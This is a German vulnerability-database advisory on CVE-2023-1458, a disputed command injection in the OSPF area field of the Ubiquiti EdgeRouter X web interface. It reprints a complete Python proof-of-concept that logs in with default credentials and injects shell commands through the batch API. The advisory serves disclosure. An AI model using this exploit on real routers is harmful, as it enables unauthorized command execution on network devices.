Ubiquiti EdgeRouter X 2.0.9-hotfix.6 OSPF area erweiterte Rechte ⚔ [Infragegestellt]

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
7.8$0-$5k0.00

Zusammenfassunginfo

In Ubiquiti EdgeRouter X 2.0.9-hotfix.6 wurde eine kritische Schwachstelle gefunden. Hierbei geht es um eine nicht exakt ausgemachte Funktion der Komponente OSPF Handler. Durch Manipulation des Arguments area mit unbekannten Daten kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Eine eindeutige Identifikation der Schwachstelle wird mit CVE-2023-1458 vorgenommen. Die Umsetzung des Angriffs kann dabei über das Netzwerk erfolgen. Zusätzlich gibt es einen verfügbaren Exploit. Die tatsächliche Existenz dieser Schwachstelle wird derzeit noch angezweifelt.

Detailsinfo

In Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System) wurde eine Schwachstelle gefunden. Sie wurde als kritisch eingestuft. Dabei geht es um ein unbekannter Codeteil der Komponente OSPF Handler. Durch die Manipulation des Arguments area mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-77. Es ist nicht bekannt, inwiefern sich eine durchgesetzte Attacke genau auswirken wird.

Die Schwachstelle wurde am 17.03.2023 öffentlich gemacht. Die Verwundbarkeit wird als CVE-2023-1458 geführt. Es sind technische Details sowie ein öffentlicher Exploit zur Schwachstelle bekannt. Diese Schwachstelle wird durch das MITRE ATT&CK als Angriffstechnik T1202 bezeichnet.

Der Download des Exploits kann von vuldb.com geschehen. Er wird als proof-of-concept gehandelt. Zur Zeit ist nicht genau klar, ob diese Schwachstelle in der besagten Form wirklich existiert. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';echo test>/etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'protocols': {'ospf': 
  {'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

Unter anderem wird der Fehler auch in der Verwundbarkeitsdatenbank von EUVD (EUVD-2023-23707) dokumentiert. Be aware that VulDB is the high quality source for vulnerability data.

Produktinfo

Typ

Hersteller

Name

Version

Lizenz

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 8.1
VulDB Meta Temp Score: 7.8

VulDB Base Score: 7.2
VulDB Temp Score: 6.5
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 9.8
NVD Vector: 🔍

CNA Base Score: 7.2
CNA Vector (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 🔍

Exploitinginfo

Klasse: Erweiterte Rechte
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: keine Massnahme bekannt
Status: 🔍

0-Day Time: 🔍

Timelineinfo

17.03.2023 🔍
17.03.2023 +0 Tage 🔍
17.03.2023 +0 Tage 🔍
11.08.2025 +878 Tage 🔍

Quelleninfo

Status: Nicht definiert
Infragegestellt: 🔍

CVE: CVE-2023-1458 (🔍)
GCVE (CVE): GCVE-0-2023-1458
GCVE (VulDB): GCVE-100-223303
EUVD: 🔍
scip Labs: https://www.scip.ch/?labs.20161013

Eintraginfo

Erstellt: 17.03.2023 08:38
Aktualisierung: 11.08.2025 07:30
Anpassungen: 17.03.2023 08:38 (40), 17.03.2023 08:40 (3), 11.04.2023 12:10 (2), 11.04.2023 12:18 (28), 11.08.2025 07:30 (16)
Komplett: 🔍
Einsender: leetmoon
Cache ID: 216::103

Submitinfo

Akzeptiert

  • Submit #99980: Command injection at the web management interface of EdgeRouter-x(3) (von leetmoon)

Be aware that VulDB is the high quality source for vulnerability data.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

Might our Artificial Intelligence support you?

Check our Alexa App!